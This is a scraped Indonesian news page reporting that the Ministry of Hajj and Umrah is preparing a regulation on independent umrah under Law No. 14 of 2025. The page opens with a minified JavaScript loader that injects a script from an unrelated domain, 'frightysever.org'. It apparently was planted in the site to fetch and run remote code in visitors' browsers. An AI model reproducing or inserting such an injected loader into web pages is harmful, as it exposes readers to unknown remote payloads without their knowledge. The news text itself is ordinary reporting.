(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Kementerian Haji dan Umrah tengah menyiapkan Peraturan Menteri (permen) yang mengatur secara teknis pelaksanaan umrah mandiri, menyusul disahkannya Undang-Undang Nomor 14 Tahun 2025 tentang Penyelenggaraan Ibadah Haji dan Umrah.
Wakil Menteri Haji dan Umrah, Dahnil Anzar Simanjuntak menjelaskan, peraturan tersebut akan menjadi pedoman pelaksanaan dan pengawasan bagi jemaah yang ingin menunaikan ibadah umrah secara mandiri.
“Pasti ada permennya, nanti diputuskan oleh pak Menteri,” kata Dahnil kepada wartawan di Kompleks DPR/MPR, Senin (27/10/2025).
Baca juga: Akui Salah Input, Begini Penjelasan Bank Kalsel soal Duit ‘Parkir’ Rp5,1 Triliun
Selain mengatur aspek teknis, Permen Umrah Mandiri juga akan memuat ketentuan tentang mekanisme pengawasan terhadap jemaah agar pelaksanaan ibadah tetap aman, tertib, dan sesuai ketentuan.
“DPR dan pemerintah bersepakat umrah mandiri legal dan kita lindungi mereka,” tegas Dahnil.
Saat ditanya kapan peraturan tersebut akan diterbitkan, Dahnil menyebut pihaknya tengah menyiapkan aturan turunan dari UU Nomor 14 Tahun 2025 dan memastikan prosesnya akan diselesaikan secepatnya. “Segera (diterbitkan),” ujarnya singkat.
Seperti diketahui, legalisasi umrah mandiri menjadi salah satu perubahan penting dalam UU Penyelenggaraan Ibadah Haji dan Umrah yang baru. Kebijakan ini memberi ruang bagi masyarakat untuk menunaikan umrah tanpa harus melalui penyelenggara perjalanan ibadah umrah (PPIU) selama tetap memenuhi persyaratan yang diatur pemerintah. (Beritasatu.com/kanalkalimantan)
Editor: kk
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More
Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More
KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More
This website uses cookies.